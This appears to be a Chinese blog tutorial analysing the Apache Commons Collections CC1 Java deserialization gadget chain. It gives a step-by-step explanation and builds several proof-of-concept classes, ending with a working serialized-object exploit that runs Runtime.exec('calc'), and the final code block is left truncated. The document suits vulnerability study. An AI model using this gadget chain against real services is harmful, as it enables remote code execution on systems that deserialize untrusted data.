Java 反序列化漏洞-Apache Commons Collections
前言
前面已经学了一些Java反序列化漏洞的相关基础知识,今天就来学习分析一下Apache Commons Collections的反序列化漏洞
环境搭建推荐大家直接使用maven搭建,网上都有很多教程这里就不多说了
然后这里要说一点的是这个漏洞会用到一点JDK的东西,所以JDK版本还是比较关键的,JDK版本不同漏洞有可能已经被修复或者时代码有一点不同,详情可以看看我看的参考视频
漏洞挖掘
这是很常见的一段利用Java反射机制进行命令执行
而InvokerTransformer.class 类中的 Transformer() 方法中存在一组反射调用 , 这组反射调用是漏洞产生的根源.
对比一下不难看出 , 只要我们能控制 input , this.iMethodName , this.iParamTypes , this.iArgs 四个参数 , 那么就可以通过这组反射调用执行任意代码
通过观察InvokerTransformer类的构造函数 , 可以发现 this.iMethodName , this.iParamTypes , this.iArgs 三个参数都是直接可控的
而 input 参数是 transform() 函数调用方传入的 , 同样可控
接下来模仿下上面的样式构造一个简单的POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class attack {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
}
}
虽然可以成功执行命令 , 但是这种攻击方式肯定是没有意义的 , 我们构造代码是为了在远端服务上执行 , 而并非在本地服务器上执行 . 远程服务器上肯定不会出现像 transformer.transform(Runtime.getRuntime()); 这样的代码 . 所以我们必须对上述代码做优化 , 减少反序列化后的操作 .
优化代码的第一步就是消除transform() 方法的参数限制 : Runtime.getRuntime().
由于 Runtime 类并没有继承 Serializable 接口 , 因此我们无法直接传入实例对象
所以 , 消除上述限制的最好方法就是通过 Java 反射机制来构建 java.lang.Runtime.getRuntime().exec() 方法调用链 . 由于 Runtime.class 构造函数的特殊性 , 我们在编写 Java 反射代码时至少要调用 getMethod() , getRuntime() , exec() , invoke() 四个方法 . 因此 , 一组反射是完全不够用的 , 我们必须要找到一条链 , 来拼接多组反射 , 从而实现命令执行 .
而ChainedTransformer.transform() 方法恰好符合这个要求.
ChainedTransformer 类的构造函数返回一个 Transformer[] 类型的数组iTransformers . 该类的 transform() 方法会循环获取iTransformers 数组中的每一项 , 调用它的 transform() 方法 , 并将返回结果作为下次循环调用的参数 .
所以 , 我们可以编写多个 InvokerTransformer 实例对象 , 分别获取 getRuntime() , invoke() , exec() 方法 , 然后将这些实例对象添加到 this.iTransformers 数组中 , 从而获得一条完整的调用链 .
但这样还不够,还需要一个java.lang.Runtime 实例对象
而 ConstantTransformer.transform() 方法可以满足我们的需求 .
我们构造一段代码看看
import org.apache.commons.collections.functors.ConstantTransformer;
public class attack {
public static void main(String[] args) {
ConstantTransformer transformer = new ConstantTransformer(Runtime.class);
transformer.transform("lmonstergg");
}
}
可以看到ConstantTransformer.transform() 方法恰好会返回 Runtime() 实例对象 , 因此我们只需要将 Runtime.class 传入 ConstantTransformer 的构造方法中即可 .
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class attack {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chain.transform("lmonstergg");
}
}
至此 , transform() 方法的参数限制已经被去除 , 此时无论 transform() 方法的参数是什么 , 都会执行 java.lang.Runtime.getRuntime().exec() 调用链 , 实现命令执行.
我们通过 java 反射机制消除了 transform() 方法的参数限制 . 但是依旧需要手动触发 transform() 方法 , 这样的场景是比较少的 .
因此现在的我们需要找到一个方法帮助我们自动调用chain.transform(“lmonstergg”),为此我们可以寻找一下其他调用了 transform()方法的类
下面介绍一下TransformedMap 类
Apache Commons Collections 实现了一个 TransformedMap 类,该类是对 Java 标准数据结构 Map 接口的一个扩展 .
该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换 , 具体的变换逻辑由Transformer 类定义,Transformer 在 TransformedMap 实例化时作为参数传入,其构造函数如下所示
TransformedMap.checkSetValue()
TransformedMap 类的 checkSetValue() 方法中调用了 Transform() 方法 .
只要我们能控制 valueTransformer , 那么就可以利用该方法执行 chain.transform(“lmonstergg”) 方法 , 进入构造好的函数调用链 .
由于 TransformedMap 类的构造方法通过 protected 修饰符修饰 , 所以无法在外界获得 TransformedMap 实例对象 . 对此 , 该类提供了 decorate() 方法来返回 TransformedMap 实例对象 , 而 decorate() 方法通过 public 修饰符修饰 , 外界可以直接调用 .
TransformedMap.decorate()
Map : 需要转换的 Map 对象
KeyTransformer : 用于转换键的转换器 , 如果为 null 则表示不进行转换
ValueTransformer : 用于转换值的转换器 , 如果为 null 则表示不进行转换
既然要调用 TransformedMap.decorate() 方法来返回 TransformedMap 实例对象 , 那么这里 ValueTransformer 就应为 chain . 此外 , 我们还需要一个 Map类型的变量 , 而获取 Map 最简单的方式就是构造一个 HashMap , 然后将该 Map 实例对象传入 decorate() 方法中.
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object, Object> Transformedmap =TransformedMap.decorate(map,null,chain);
到这里也只是解决了TransformedMap对象的构造问题,但是还得想办法让他调用checkSetValue()方法
AbstractInputCheckedMapDecorator$MapEntry.setValue()
AbstractInputCheckedMapDecorator是transformedMap 的父类,它有一个静态内部类 MapEntry , 该类 setValue() 中调用了 checkSetValue() 方法.
我们现在的目标是调用 TransformedMap.checkSetValue() 方法,通过代码我们可以看出,只要我们让this.parent指向上面构造好的TransformedMap对象就可以,同时,this.parent 是作为参数传入的
这里得说一下Map是java中的接口,Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对),我们可以理解成一个键值对就是一个Entry
所以我们可以构造我们的hashmap让其去使用函数setValue,因为AbstractInputCheckedMapDecorator是transformedMap 的父类且transformedMap类中没有setValue()函数,他就会调用父类中的该函数
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class attack {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object, Object> Transformedmap =TransformedMap.decorate(map,null,chain);
for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
System.out.println(entry.setValue("aaa"));
}
}
}
到这里我们的POC还是没有完善,我们要让我们的漏洞能够自动触发,因此我们需要让找到一个重写 readObject() 方法的地方 . 该方法中会调用可控的 setValue() 方法
sun.reflect.annotation.AnnotationInvocationHandler
这里我们找到了sun.reflect.annotation.AnnotationInvocationHandler这个类,这里多提两句,Annotation是Java中的注解类,InvocationHandler是Java中和动态代理相关的一个类。
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。
需要注意的是,AnnotationInvocationHandler类的构造函数使用了默认修饰符 , 通过默认修饰符修饰的方法只能同包访问 , 因此这里无法直接访问 ,我们可以通过反射来获取类 , 通过 getDeclaredConstructor()方法获取构造器
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces(); //获得var1对象所实现的所有接口
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; //Map<String, Object>
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。
AnnotationInvocationHandler.readObject()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type); //获取 type 这个注解类对应的 AnnotationType 的对象,调试后发现该注解类的所有属性会存在AnnotationType类的 memberTypes 属性中
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes(); //获取其 memberTypes 属性,这个属性是个 Map
Iterator var4 = this.memberValues.entrySet().iterator(); //获取迭代器
while(var4.hasNext()) { //循环遍历
Entry var5 = (Entry)var4.next(); //获取一个map
String var6 = (String)var5.getKey(); //取得它的key
Class var7 = (Class)var3.get(var6); //判断memberTypes属性是否有与this.memberValues的key相同的属性
if (var7 != null) {
Object var8 = var5.getValue(); //获取该值
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //判断该对象能不能转换为memberValues 中值的类,且该对象不是ExceptionProxy类
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
遍历this.memberValues 这个 Map ,然后得到它的 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值
AnnotationType
这里补充下一些关于AnnotationType类的调试
步入AnnotationType类的初始化函数
通过观察我们可以发现 memberTypes里面的值其实就是AnnotationInvocationHandler 初始化时传入的注解类的属性
总结下readObject函数的功能,一个 AnnotationInvocationHandler 实例,初始化时会传入一个注解类和一个 Map,执行readObject函数时这个注解类会实例化成AnnotationType的对象,注解类的所有属性会存在memberTypes里。然后readObject函数会循环遍历这个 Map 的 key ,看看有和 memberTypes 属性相同的key,如果有则看看他们的value是否相同,如果不同就调用setvalue方法。
分析到这里我觉得已经很清晰了,我们选择这个类就是为了让它调用setvalue方法,所以我们在原来POC的基础上,构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。完整POC如下所示
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.plugin2.message.Serializer;
import javax.annotation.Generated;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class attack {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("value","111");
// 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
// 并且这里的值的一定不是属性值的类型
Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
// for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
// System.out.println(entry.setValue("aaa"));
// }
Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
//InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
//注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(handler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
总结
到这里Java反序列化漏洞CC1算是分析完了,思路还是比较清晰的,先找可能产生漏洞的地方,然后利用Find usages逆着寻找函数调用地,注意关注同名函数在不同类中的调用,这和PHP的反序列化漏洞挖的时候挺像的,不同的是php反序列化漏洞要一直挖到可序列化点serailize或者phar等,而Java反序列化漏洞一般是一直挖到readobject等。
这里在额外说一点,通过setValue()利用find usages可能会找不到sun.reflect.annotation.AnnotationInvocationHandler,因为这涉及到一些源码问题,具体的解决办法可以看看下面的参考视频
参考文章
https://www.guildhab.top/2020/06/java-rmi-%e5%88%a9%e7%94%a84-%e6%9c%80%e5%9f%ba%e6%9c%ac%e7%9a%84%e4%b8%a4%e6%9d%a1-apache-commons-collections-pop-gadget-chains/
https://www.bilibili.com/video/BV1no4y1U7E1?from=search&seid=8216034167387322801&spm_id_from=333.337.0.0
https://su18.org/post/ysoserial-su18-2/#%E6%94%BB%E5%87%BB%E6%9E%84%E9%80%A0